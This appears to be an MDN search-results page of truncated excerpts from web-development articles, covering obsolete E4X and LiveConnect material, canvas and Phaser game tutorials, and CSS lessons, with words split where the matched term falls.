it will be disabled by default for content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18. use domparser/domserializer or a non-native jxon algorithm instead. normal javascript objects use the . operator or [] notation to set properties. var a = {}; a.foo = 1; a["bar"] = 2; in e4x, the . and [] operators provide access to the child nodes of an e4x element. var element1 = <foo> <bar/> </foo>; var element2 = <baz/>; element1.bar.appendchild(element2); element1["bar"].appendchild(<quux/>); adds a child to the "bar" child node of element1. ...
...<baz/> <quux/> </bar> </foo> note, however, that assigning a non-xml value to a child element that doesn't exist will create that element. var element1 = <foo/> element1.bar = 1; produces <foo> <bar>1</bar> </foo> if the child node already exists, the . operator allows you to change its value. var elem = <foo> <bar>1</bar> </foo> elem.bar = 2; will replace the p
revious value of 1 with 2. you can remove a child node by using the delete command: var elem = <foo> <bar/> <baz/> </foo> delete elem.bar; leaves just <foo> <baz/> </foo> the . operator can also be used to replace particular child nodes var elem1 = <foo> <bar/> </foo>; var elem2 = <red> <blue/> </red>; ...
...attributes many xml elements have attributes with particular values assigned to them. for instance <pets> <dog color="brown">fido</dog> <cat color="grey">fluffy</cat> </pets> e4x allows you to access the attributes of a particular element with the .@ operator. the most basic case would look something like. var element = <foo bar="1"/> element.@bar = 2; which gives <foo bar="2"/> « p
reviousnext » ...
New in JavaScript 1.1 - Archive of obsolete content
s. <script language="javascript"> <!-- javascript for navigator 2.0. --> <script language="javascript1.1"> <!-- javascript for navigator 3.0. --> new features in javascript 1.1 new objects array boolean function number new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity new methods array.prototype.join() array.prototype.
reverse() array.prototype.sort() array.prototype.split() new operators typeof void other new features <noscript> liveconnect. communication between java and javascript. changed functionality in javascript 1.1 "object deletion". you can remove an object by setting its object reference to null. constructor and prototype properties on objects added. eval() is now a method of every o...
...y.prototype.sort() array.prototype.split() new operators typeof void other new features <noscript> liveconnect. communication between java and javascript. changed functionality in javascript 1.1 "object deletion". you can remove an object by setting its object reference to null. constructor and prototype properties on objects added. eval() is now a method of every object (was p
reviously a built-in function); it evaluates a string of javascript code in the context of the specified object. math.random() now works on every platform. tostring(): added radix parameter, which specifies the base to use for representing numeric values. isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platforms, if the first character...
...pt code in the context of the specified object. math.random() now works on every platform. tostring(): added radix parameter, which specifies the base to use for representing numeric values. isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platforms, if the first character of the specified string cannot be converted to a number; in p
revious releases, it returned nan on solaris and irix and zero on all other platforms. ...
LiveConnect Overview - Archive of obsolete content
ata type conversion for complete information. in some ways, the existence of the liveconnect objects is transparent, because you interact with java in a fairly intuitive way. for example, you can create a java string object and assign it to the javascript variable mystring by using the new operator with the java constructor, as follows: var mystring = new java.lang.string("hello world"); in the p
revious example, the variable mystring is a javaobject because it holds an instance of the java object string. as a javaobject, mystring has access to the public instance methods of java.lang.string and its superclass, java.lang.object. these java methods are available in javascript as methods of the javaobject, and you can call them as follows: mystring.length(); // returns 11 static members can be...
...cess javascript methods and properties. netscape.javascript.jsexception allows java code to handle javascript errors. see the javascript reference for more information about these classes. locating the liveconnect classes in older versions of the netscape browser, these classes were distributed along with the browser. starting with javascript 1.2, these classes are delivered in a .jar file; in p
revious versions of javascript, these classes are delivered in a .zip file. for example, with netscape navigator 4 for windows nt, the classes are delivered in the java40.jar file in the program\java\classes directory beneath the navigator directory. more recently, the classes have been distributed with sun's java runtime; initially in the file "jaws.jar" in the "jre/lib" directory of the runtime dis...
...he class constructor public javadog(jsobject jsdog){ // use try...catch to handle jsexceptions here this.dogbreed = (string)jsdog.getmember("breed"); this.dogcolor = (string)jsdog.getmember("color"); this.dogsex = (string)jsdog.getmember("sex"); } } notice that the getmember method of jsobject is used to access the properties of the javascript object. the p
revious example uses getmember to assign the value of the javascript property jsdog.breed to the java data member javadog.dogbreed. note: a more realistic example would place the call to getmember inside a try...catch statement to handle errors of type jsexception. see handling javascript exceptions in java for more information. to get a better sense of how getmember works, look at the definition of ...
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
(netscape 7+) include code that causes bare pseudo-classes to be restricted only to links if the document is rendered in "quirks" mode. in browsers based on the engine found in mozilla 1.3b and later, this quirk is extended to cover selectors that combine a bare class selector with the :hover pseudo-class (see bug 169078 for details). named anchor problems in addition to the effects described p
reviously, there are two other relatively common effects that authors may not expect. one is easily fixed by validation, but the other is a little more subtle. first, there is the problem of authors who open a named anchor but do not close it. for example: <a name="pagetop"> <h2>my page</h2> without a </a>, this name will effectively enclose the rest of the document. this generally means that the ...
...k:hover will only apply to unvisited links, so authors who want the same hover style to apply to both visited and unvisited links should group the two selectors into a single rule. recommendation to avoid unexpected problems, authors are strongly encouraged to include element names in dynamic-state pseudo-classes that are meant to be applied to hyperlinks. furthermore, combining pseudo-classes p
revents hover styles from being applied to non-hyperlink anchors. thus, a:hover should always be used instead of just :hover, and a:link:hover (and a:visited:hover) are preferred to the simpler a:hover related links the dynamic pseudo-classes: :hover, :active, and :focus :hover pseudo-class (msdn) original document information author(s): eric a. meyer, netscape communications last updated...
...pplied to non-hyperlink anchors. thus, a:hover should always be used instead of just :hover, and a:link:hover (and a:visited:hover) are preferred to the simpler a:hover related links the dynamic pseudo-classes: :hover, :active, and :focus :hover pseudo-class (msdn) original document information author(s): eric a. meyer, netscape communications last updated date: published 07 mar 2003;
revised 21 mar 2003 copyright information: copyright © 2001-2003 netscape. all rights reserved. note: this reprinted article was originally part of the devedge site. ...
RDF in Mozilla FAQ - Archive of obsolete content
u may use any kind of tag (including html, or arbitrary xml) in the <action> section of a <rule>. when should i use a xul template? one alternative to using rdf and xul templates is to use the w3c dom apis to build up and manipulate a xul (or html) content model. there are times, however, when doing so may be inconvenient: there are several "views" of the data. for example, mozilla mail/news
reveals the folder hierarchy in the toolbar, the "folder pane", in several menus, and in some of the dialogs. rather than writing three pieces of js (or c++) code to construct the dom trees each for <menubutton>, <menu>, and <tree> content models, you write three compact sets of rules for each content model. the data can change. for example, a mail/news user may add or remove imap folders. (note how...
... api, either by using the built-in memory datasource, using rdf/xml to store your information, or writing your own implementation (possibly in javascript) of nsirdfdatasource. what gets loaded when i specify "datasources=" the datasources attribute on the "root" of a template specifies a whitespace-separated list of datasource uris to load. but what is a "datasource uri"? it is either: an abb
reviated contractid for a locally installed component. by specifying rdf:name, you instruct the template builder to load the xpcom component with the contractid @mozilla.org/rdf/datasource;1?name=name. the url of an rdf/xml file. for example, file:///tmp/foo.rdf chrome://mycomponent/content/component-data.rdf http://www.mysite.com/generate-rdf.cgi ftp://ftp.somewhere.org/toc.rdf the load will ...
... use it to verify that the rdf/xml that you've written is being properly parsed by mozilla. rdfpoll url [interval ] takes as a parameter a url from which to read an rdf/xml file. it also accepts an optional poll interval, where it will re-load the url. it outputs the assertions that are generated from each load. note that a polling reload generates a set of differences between the current and p
revious contents of the rdf/xml file. this is useful for debugging generated rdf/xml that may change over time. both these programs are slow to load and run (but they will run, eventually). they initialize xpcom and bring up necko to be able to load and process urls just like mozilla does. nothing happens after i call adddatasource. note that the template builder will not rebuild the contents of ...
Windows Media in Netscape - Archive of obsolete content
windows media files using the popular windows media player activex control. this control is widely used to provide inline media support for web pages that provide sound, video and other media. controls such as windows media player also interact closely with the scripts in a web page. netscape 7.1 is the first netscape gecko™ browser to support the windows media player as an activex control -- p
revious netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control. the windows media 9 series sdk documentation for netscape browsers says that versions of netscape (including 6.2 and 7.0)...
...id as an argument, using wmplayer.ocx.7 as an argument to both these apis creates a fully usable reference to the windows media player 7 or 9 control, with all the methods and properties exposed to javascript. furthermore, you know for certain that you are working with the windows media 7 or 9 control -- there is no comparable instantiation for the windows media player 6 control. ...
...ject which may be introduced in the future. for example, a possible regular expression to detect if geckoactivexobject is supported could be: /gecko\/[^)].*\(ax/ embedding the control in web pages: use of the object element netscape 7.1 allows the use of the object element of html to be used to instantiate the windows media player control in the same way it is used in ie. this differs from what p
revious netscape gecko browsers did -- those browsers only supported the netscape-plugin architecture, and not the activex architecture, and thus the markup used for browsers prior to netscape version 7.1 (devedge-temp) was distinct. example 2: use of object element to create control if you are running netscape 7.1 and later or ie, and have installed windows media player 7 or above, the snippet of co...
Archive of obsolete content
lla projects. archived open web documentation the documentation listed below is archived, obsolete material about open web topics. beginner tutorials this page includes archived beginners tutorials, from various places around mdn. case sensitivity in class and id names creating a dynamic status bar extension concepts covered in the p
revious sample won't be reiterated here; instead, refer to the downloadable sample code or to the p
revious sample for further details. creating a status bar extension many of the concepts introduced here apply to any xul-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on firefox. css3 css3 is the late...
...ions that are built using mozilla technologies. this list is likely to be incomplete since we think there are many dark matter projects that we don't know about. if you have information about a new project or extra information about an existing project, please feel free to update this page. localizing an extension this article expands upon the p
revious samples on extension writing by adding localization support to our stock watcher extension. performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves. makefile - .mk files misc top level these pages were moved from the top level of mdn in a s...
...d theme documentation. updating an extension to support multiple mozilla applications this article shows how to take an existing extension and update it so that it can be used in additional mozilla applications. we'll build upon the stock watcher extension created in earlier articles in this series, updating it so it can also be used in thunderbird and sunbird (p
revious versions worked only in firefox). using firebug and jquery (screencast) note: this screencast is originally from: http://ejohn.org/blog/hacking-digg-w...ug-and-jquery/ using io timeout and interrupt on nt this technical memo is a cautionary note on using netscape portable runtime's (nspr) io timeout and interrupt o...
Common causes of memory leaks in extensions - Extensions
ge explains coding patterns that cause extension to cause memory leaks. causes of zombie compartments zombie compartments are a particular kind of memory leak. all zombie compartments in extensions are caused by a failure to release resources appropriately in certain circumstances, such as when a window is closed, a page unloads, or an extension is disabled or removed. while bug 695480 should p
revent most of these compartment leaks, add-ons still need to be aware of the practices that caused these leaks, as the fix causes many add-ons which would have otherwise caused a leak to instead throw errors when attempting to access nodes from documents which no longer exist. storing references to window objects and dom nodes the most common problem is extensions holding onto references to conten...
...window object (such as browser.xul), javascript module or xpcom component, the bootstrap.js compartment will become a zombie. for example, the following code snippets — part of a bootstrap.js — will leak: function leakref() {} function modifydocument(document) { var a = document.createelement("a"); document.body.appendchild(a); // the new dom node holding a reference to leakref will p
revent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment. a.someproperty = leakref; } function modifydocument2(document) { // the "body" dom node holding a reference to leakref will p
revent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment. document.body.someproperty = le...
...d will keep strong references around. please see the corresponding documentation of these services on how to properly unregister/remove your observers and components during unload. forgetting to unload javascript modules in restartless add-ons another common cause of leaks is forgetting to unload javascript code modules in bootstrapped add-ons. when your add-on gets updated and re-enabled, the p
revious module version that is still loaded will be used, which might break your add-on entirely. the following example shows how to unload your modules again (bootstrap.js): components.utils.import("resource://gre/modules/services.jsm"); function startup(data, reason) { // this assumes your add-on did register some chrome components.utils.import("chrome://myaddon/content/mymodule.jsm"); } fu...
Building up a basic demo with A-Frame - Game development
and can basically be anything you deem suitable for your scene — milimeters, meters, feet, or miles — it's up to you. adding a background: sky box a sky box is a background for the 3d world, represented by an <a-sky> element. in our case we will use a simple color, but it could also be an image, etc. looking around would give an impression of being inside an open sky, a wooden barn — whe
rever you like! add the following html before the <a-cube> element: <a-sky color="#dddddd"></a-sky> at this point, if you save the code and refresh your browser you can already see the cube on the screen with our custom background: here's the code we have created so far: you can also check it out on github. a-frame takes care of setting up everything you need: a default light source and ...
...it will more easily visible, its color, and some opacity so it won't completely covering the objects behind it. adding lights the basic light types in a-frame are directional and ambient. the first type is a directional light placed somewhere on the scene while the second one reflects the light from the first type, so it looks more natural; this can be set globally. add the new code below your p
revious additions — this uses the standard <a-light> element: <a-light type="directional" color="#fff" intensity="0.5" position="-1 1 2"> </a-light> <a-light type="ambient" color="#fff"> </a-light> the directional light has a white color, its intensity is set to 0.5, and it is placed at position -1 1 2. the ambient light only needs a color, which is also white. adding some advanced ...
...ts intensity is set to 0.5, and it is placed at position -1 1 2. the ambient light only needs a color, which is also white. adding some advanced geometry we have a cube on the scene already; now let's try adding more shapes. we are not limited to the default entities like <a-cube> — using <a-entity> we can create custom advanced shapes. let's try adding a torus — add this element below the p
revious code: <a-entity geometry=" primitive: torus; radius: 1; radiustubular: 0.1; segmentstubular: 12;" rotation="10 0 0" position="-3 1 0"> </a-entity> our entity has a torus primitive, which represents its shape. we are passing some initial variables to that shape: the radius of the outer edge of the torus, the radius of the tube, and number of segments along the circumfe...
Build the brick field - Game development
you can find the source code as it would look after completing this lesson at gamedev-canvas-workshop/lesson6.html. after modifying the gameplay mechanics, we are now able to lose — this is great as it means the game is finally feeling more like a game. however, it will quickly get boring if all you do is bounce the ball off the walls and the paddle. what a breakout game really needs is some bricks to destroy with the ball, and this is what we'll create now! setting up the brick variables the overall aim of this lesson is to render a few lines of code for the bricks, using a nested loop that works through a two-dimensional array. ...
...te now! setting up the brick variables the overall aim of this lesson is to render a few lines of code for the bricks, using a nested loop that works through a two-dimensional array. first however we need to set up some variables to define information about the bricks such as their width and height, rows and columns, etc. add the following lines to your code below the variables which you have p
reviously declared in your program. var brickrowcount = 3; var brickcolumncount = 5; var brickwidth = 75; var brickheight = 20; var brickpadding = 10; var brickoffsettop = 30; var brickoffsetleft = 30; here we've defined the number of rows and columns of bricks , their width and height, the padding between the bricks so they won't touch each other and a top and left offset so they won't start being...
...st above the drawball() call: drawbricks(); compare your code at this point, the game has got a little more interesting again : exercise: try changing the number of bricks in a row or a column, or their positions. next steps so now we have bricks! but the ball isn't interacting with them at all — we'll change that as we continue to the seventh chapter: collision detection. « p
reviousnext » ...
Create the Canvas and draw on it - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson1.html. before we can start writing the game's functionality, we need to create a basic structure to render the game inside. this can be done using html and the <canvas> element. the game's html the html document structure is quite simple, as the game will be rendered entirely on the <canvas> element. ...
...ript> tag. var canvas = document.getelementbyid("mycanvas"); var ctx = canvas.getcontext("2d"); here we're storing a reference to the <canvas> element to the canvas variable. then we're creating the ctx variable to store the 2d rendering context — the actual tool we can use to paint on the canvas. let's see an example piece of code that prints a red square on the canvas. add this below your p
revious lines of javascript, then load your index.html in a browser to try it out. ctx.beginpath(); ctx.rect(20, 40, 50, 50); ctx.fillstyle = "#ff0000"; ctx.fill(); ctx.closepath(); all the instructions are between the beginpath() and closepath() methods. we are defining a rectangle using rect(): the first two values specify the coordinates of the top left corner of the rectangle on the canvas, whi...
...nnel in the rgba() function, the blue color is semi transparent. compare your code here's the full source code of the first lesson, running live in a jsfiddle: exercise: try changing the size and color of the given shapes. next steps now we've set up the basic html and learned a bit about canvas, lets continue to the second chapter and work out how to move the ball in our game. « p
reviousnext » ...
Mouse controls - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson9.html. the game itself is actually finished, so let's work on polishing it up. we have already added keyboard controls, but we could easily add mouse controls too. listening for mouse movement listening for mouse movement is even easier than listening for key presses: all we need is the listener for the mousemove event. ...
...ent. add the following line in the same place as the other event listeners, just below the keyup event: document.addeventlistener("mousemove", mousemovehandler, false); anchoring the paddle movement to the mouse movement we can update the paddle position based on the pointer coordinates — the following handler function will do exactly that. ...
...sappear completely off either side. ...
Paddle and keyboard controls - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson4.html. the ball is bouncing off the walls freely and you can watch it indefinitely, but currently there's no interactivity. it's not a game if you cannot control it! so let's add some user interaction: a controllable paddle. defining a paddle to hit the ball so, we need a paddle to hit the ball. let's define a few variables for that. ...
...on down the code. let's create a function that will draw the paddle on the screen. add the following just below your drawball() function: function drawpaddle() { ctx.beginpath(); ctx.rect(paddlex, canvas.height-paddleheight, paddlewidth, paddleheight); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); } allowing the user to control the paddle we can draw the paddle whe
rever we want, but it should respond to the user's actions. it's time to implement some keyboard controls. we will need the following: two variables for storing information on whether the left or right control button is pressed. two event listeners for keydown and keyup events. we want to run some code to handle the paddle movement when the buttons are pressed. two functions handling the keydown...
... the following line inside your draw() function, just below the line that calls drawball(): drawpaddle(); compare your code here's the working code for you to compare yours against: exercise: make the paddle move faster or slower, or change its size. next steps now we have something resembling a game. the only trouble now is that you can just continue hitting the ball with the paddle fo
rever. this will all change in the fifth chapter, game over, when we start to add in an endgame state for our game. « p
reviousnext » ...
Track the score and win - Game development
you can find the source code as it should look after completing this lesson at gamedev-canvas-workshop/lesson8.html. destroying the bricks is really cool, but to be even more awesome the game could award points for every brick a user hits, and keep count of the total score. counting the score if you can see your score throughout the game, eventually you can impress your friends. you need a variable to record the score. add the following into your javascript, after the rest of your variables: var score = 0; you also need a drawscore() function, to create and update the score display. ...
...add the following highlighted section into your collisiondetection() function: function collisiondetection() { for(var c=0; c<brickcolumncount; c++) { for(var r=0; r<brickrowcount; r++) { ...
... button is clicked. ...
Bounce off the walls - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson06.html. now that physics have been introduced, we can start implementing collision detection into the game — first we'll look at the walls. bouncing off the world boundaries the easiest way to get our ball bouncing off the walls is to tell the framework that we want to treat the boundaries of the <canvas> element as walls and not let the ball move past them. in phaser this can be easily accomplished using the collideworldsbound property. ...
...he ball move past them. in phaser this can be easily accomplished using the collideworldsbound property. add this line right after the existing game.physics.enable() method call: ball.body.collideworldbounds = true; now the ball will stop at the edge of the screen instead of disappearing, but it doesn't bounce. to make this occur we have to set its bounciness. add the following line below the p
revious one: ball.body.bounce.set(1); try reloading index.html again — now you should see the ball bouncing off all the walls and moving inside the canvas area. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps this is starting to look more like a game now, but we can't control it in any ...
...u should see the ball bouncing off all the walls and moving inside the canvas area. compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps this is starting to look more like a game now, but we can't control it in any way — it's high time we introduced the player paddle and controls. « p
reviousnext » ...
Extra lives - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson13.html. we can make the game enjoyable for longer by adding lives. in this article we'll implement a lives system, so that the player can continue playing until they have lost three lives, not just one. new variables add the following new variables below the existing ones in your code: var lives = 3; var livestext; var lifelosttext; these respectively will store the number of lives, the text label that displays the number of lives that remain, and a text label that will be shown on screen when the player loses one of their lives. ...
...ery place it is used. the lives handling code to implement lives in our game, let's first change the ball's function bound to the onoutofbounds event. instead of executing an anonymous function and showing the alert right away : ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a new function called ballleavescreen; delete the p
revious event handler (shown above) and replace it with the following line: ball.events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas. add the ballleavescreen() function definition at the end of our code: function ballleavescreen() { lives--; if(lives) { livestext.settext('lives: '+lives); lifelostte...
... the message from the screen once. ...
Game over - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson08.html. to make the game more interesting we can introduce the ability to lose — if you don't hit the ball before it reaches the bottom edge of the screen it will be game over. how to lose to provide the ability to lose, we will disable the ball's collision with the bottom edge of the screen. ...
...side the create() function; just after you define the ball's attributes is fine: game.physics.arcade.checkcollision.down = false; this will make the three walls (top, left and right) bounce the ball back, but the fourth (bottom) will disappear, letting the ball fall off the screen if the paddle misses it. we need a way to detect this and act accordingly. add the following lines just below the p
revious new one: ball.checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event. when you click on the resulting alert, the page will be reloaded so you can play again. compare your code you ...
...vent. ...
Physics - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson05.html. for proper collision detection between objects in our game we will need to have physics; this article introduces you to what's available in phaser, as well as demonstrating a typical simple setup. adding physics phaser is bundled with three different physics engines — arcade physics, p2 and ninja physics — with a fourth option, box2d, being available as a commercial plugin. for simple games like ours, we can use the arcade physics engine. ...
...o enable our ball for the physics system — phaser object physics is not enabled by default. add the following line at the bottom of the create() function: game.physics.enable(ball, phaser.physics.arcade); next, if we want to move our ball on the screen, we can set velocity on its body. add the following line, again at the bottom of create(): ball.body.velocity.set(150, 150); removing our p
revious update instructions remember to remove our old method of adding values to x and y from the update() function: function update() { ball.x += 1; ball.y += 1; } we are now handling this properly, with a physics engine. final code check the latest code should look like this: var ball; function preload() { game.scale.scalemode = phaser.scalemanager.show_all; game.scale.page...
...e physics objects. ...
Scaling - Game development
you can find the source code as it should look after completing this lesson at gamedev-phaser-content-kit/demos/lesson02.html. scaling refers to how the game canvas will scale on different screen sizes. we can make the game scale to fit on any screen size automatically during the preload stage, so we don't have to worry about it later. the phaser scale object there's a special scale object available in phaser with a few handy methods and properties available. ...
...scale.pagealignvertically = true; } scalemode has a few different options available for how the canvas can be scaled: no_scale — nothing is scaled. exact_fit — scale the canvas to fill all the available space both vertically and horizontally, without preserving the aspect ratio. show_all — scales the canvas, but keeps the aspect ratio untouched, so images won't be skewed like in the p
revious mode. there might be black stripes visible on the edges of the screen, but we can live with that. resize — creates the canvas with the same size as the available width and height, so you have to place the objects inside your game dynamically; this is more of an advanced mode. user_scale — allows you to have custom dynamic scaling, calculating the size, scale and ratio on your own; again...
...owing line below the other three you added earlier: game.stage.backgroundcolor = '#eee'; compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now we've set up the scaling for our game, let's continue to the third lesson and work out how to load the assets and print them on screen. « p
reviousnext » ...
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
aloud and displays content. the content read aloud is displayed in a dark grey box. desktop/laptop screen reader users navigate websites with a keyboard or other non-pointing device. the best way to emulate use is to do the same. ...
...n reader users navigate websites with a keyboard or other non-pointing device. the best way to emulate use is to do the same. ...
...w p
revious radio button in a same named-group: left or up arrow navigating through the content of a page is done with the tab key and a series of other keys along with control + option keys next heading: control + option + h next list: control + option + x next graphic: control + option + g next table: control + option + t down an html hierarchical order control + option + right arrow p
revious heading: shift + control + option + h p
revious list: shift + control + option + x p
revious graphic: shift + control + option + g p
revious table: shift + control + option + t up an html hierarchical order: control + option + left arrow learn more aria ...
Backgrounds and borders - Learn web development
from adding gradients, background images, and rounded corners, backgrounds and borders are the answer to a lot of styling questions in css. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how to style the background and border of boxes. styling backgrounds in css the css background property is a shorthand for a number of background longhand properties that we will meet in this lesson. ...
... therefore repeats. multiple background images it is also possible to have multiple background images — you specify multiple background-image values in a single property value, separating each one with a comma. when you do this you may end up with background images overlapping each other. the backgrounds will layer with the last listed background image at the bottom of the stack, and each p
revious image stacking on top of the one that follows it in the code. note: gradients can be happily mixed with regular background images. the other background-* properties can also have comma-separated values in the same way as background-image: background-image: url(image1.png), url(image2.png), url(image3.png), url(image4.png); background-repeat: no-repeat, repeat-x, repeat; background-positi...
...nd or a border to a box. do explore the different property pages if you want to find out more about any of the features we have discussed. each page on mdn has more examples of usage for you to play with and enhance your knowledge. in the next lesson, we will find out how the writing mode of your document interacts with your css. ...
Cascade and inheritance - Learn web development
ed element to be the same as that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of that property. unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial. note: there is also a newer value,
revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to get to grips ...
... the description of the values above if not. which of the links will change color if you define a new color for the <a> element — for example a { color: red; }? resetting all property values the css shorthand property all can be used to apply one of these inheritance values to (almost) all properties at once. its value can be any one of the inheritance values (inherit, initial, unset, or
revert). it's a convenient way to undo changes made to styles so that you can get back to a known starting point before beginning new changes. in the below example we have two blockquotes. the first has styling applied to the blockquote element itself, the second has a class applied to the blockquote which sets the value of all to unset. try setting the value of all to some of the other availabl...
...e 1 pixel black border should both be applied to the 2nd element, with the first element getting the gray background color, and no border, as specified by the class. the 2nd element does get the red background color, but no border. why? because of the !important declaration in the second rule — including this after border: none means that this declaration will win over the border value in the p
revious rule, even though the id has higher specificity. note: the only way to override this !important declaration would be to include another !important declaration on a declaration with the same specificity later in the source order, or one with a higher specificity. it is useful to know that !important exists so that you know what it is when you come across it in other people's code. however...
Debugging CSS - Learn web development
perhaps you believe that a certain selector should match an element, but nothing happens, or a box is a different size than you expected. this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you to find out what is going on. ...
...tching properties. after selecting font-size, enter the value you want to try. you can also click the + button to add an additional rule with the same selector, and add your new rules there. note: there are other useful features in the rules view too, for example declarations with invalid values are crossed out. you can find out more at examine and edit css. understanding the box model in p
revious lessons we have discussed the box model, and the fact that we have an alternate box model that changes how the size of elements are calculated based on the size you give them, plus the padding and borders. devtools can really help you to understand how the size of an element is being calculated. the layout view shows you a diagram of the box model on the selected element, along with a descri...
... browser vendor (e.g. on mozilla's bugzilla site). as you become more experienced with css, you will find that you get faster at figuring out issues. however even the most experienced of us sometimes find ourselves wondering what on earth is going on. taking a methodical approach, making a reduced test case, and explaining the issue to someone else will usually result in a fix being found. ...
Handling different text directions - Learn web development
we create borders on the top, right, bottom, and left of a box, for example. these physical dimensions map very neatly to content that is viewed horizontally, and by default the web tends to support left-to-right languages (e.g. english or french) better than right-to-left languages (such as arabic). in recent years however, css has evolved in order to better support different directionality of content, including right-to-left but also top-to-bottom content (such as japanese) — these different directionalities are called writing modes. ...
... displayed on the page in the writing mode in use. the inline dimension is always the direction a sentence flows. this figure shows the two dimensions when in a horizontal writing mode. this figure shows the two dimensions in a vertical writing mode. once you start to look at css layout, and in particular the newer layout methods, this idea of block and inline becomes very important. we will
revisit it later on. direction in addition to writing mode we also have text direction. as mentioned above, some languages such as arabic are written horizontally, but right-to-left. this is not something you are likely to use in a creative sense — if you simply want to line something up on the right there are other ways to do so — however it is important to understand this as part of the natur...
...cepts explained in this lesson are becoming increasingly important in css. an understanding of the block and inline direction — and how text flow changes with a change in writing mode — will be very useful going forward. it will help you in understanding css even if you never use a writing mode other than a horizontal one. in the next module we will take a good look at overflow in css. ...
Images, media, and form elements - Learn web development
images, other media, and form elements behave a little differently in terms of your ability to style them with css than regular boxes. understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to understand the way that some elements behave unusually when styled with css. ...
...low the box. you need to make a decision about what happens with the overflow. in the example below we have two boxes, both 200 pixels in size: one contains an image which is smaller than 200 pixels — it is smaller than the box and doesn't stretch to fill it. the other is larger than 200 pixels and overflows the box. so what can we do about the overflowing issue? as we learned in our p
revious lesson, a common technique is to make the max-width of an image 100%. this will enable the image to become smaller in size than the box but not larger. this technique will work with other replaced elements such as <video>s, or <iframe>s. try adding max-width: 100% to the <img> element in the example above. you will see that the smaller image remains unchanged, but the larger one becomes smal...
...find some further tests to verify that you've retained this information before you move on — see test your skills: images and form elements. summary this lesson has highlighted some of the differences you will encounter when working with images, media, and other unusual elements in css. in the next article we'll look over a few tips you'll find useful when you have to style html tables. ...
Overflowing content - Learn web development
in this guide you will learn what overflow is and how to manage it. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to understand overflow and how to manage it. what is overflow? everything in css is a box. you can constrain the size of these boxes by assigning values of width and height (or inline-size and block-size). overflow happens when there is too much content to fit in a box. css provides various tools to manage overflow. ...
...e. the content overflows the box and falls into the paragraph below. the second example is a word in a box. the box has been made too small for the word and so it breaks out of the box. you might wonder why css works in such a messy way, displaying content outside of its intended container. why not hide overflowing content? why not scale the size of the container to fit all the content? whe
rever possible, css does not hide content. this would cause data loss. the problem with data loss is that you might not notice. website visitors may not notice. if the submit button on a form disappears and no one can complete the form, this could be a big problem! instead, css overflows in visible ways. you are more likely to see there is a problem. at worst, a site visitor will let you know that co...
... most important information? to check your understanding, see test your skills: overflow. summary this lesson introduced the concept of overflow. you should understand that default css avoids making overflowing content invisible. you have discovered that you can manage potential overflow, and also, that you should test work to make sure it does not accidentally cause problematic overflow. ...
Combinators - Learn web development
prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the different combinator selectors that can be used in css. ...
...u can use the general sibling combinator (~). to select all <img> elements that come anywhere after <p> elements, we'd do this: p ~ img in the example below we are selecting all <p> elements that come after the <h1>, and even though there is a <div> in the document as well, the <p> that comes after it is selected. using combinators you can combine any of the selectors that we discovered in p
revious lessons with combinators in order to pick out part of your document. for example if we want to select list items with a class of "a", which are direct children of a <ul>, i could use the following. ul > li[class="a"] { } take care however when creating big lists of selectors that select very specific parts of your document. it will be hard to reuse the css rules as you have made the selec...
...s. test your skills! we have covered a lot in this article, but can you remember the most important information? you can find some further tests to verify that you've retained this information before you move on — see test your skills: selectors. moving on this is the last section in our lessons on selectors. next we will move on to another important part of css — the css box model. ...
Pseudo-classes and pseudo-elements - Learn web development
there are a large number of these, and they often serve quite specific purposes. once you know how to use them, you can look at the list to see if there is something which works for the task you are trying to achieve. once again the relevant mdn page for each selector is helpful in explaining browser support. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the pseudo-class and pseudo-element selectors. ...
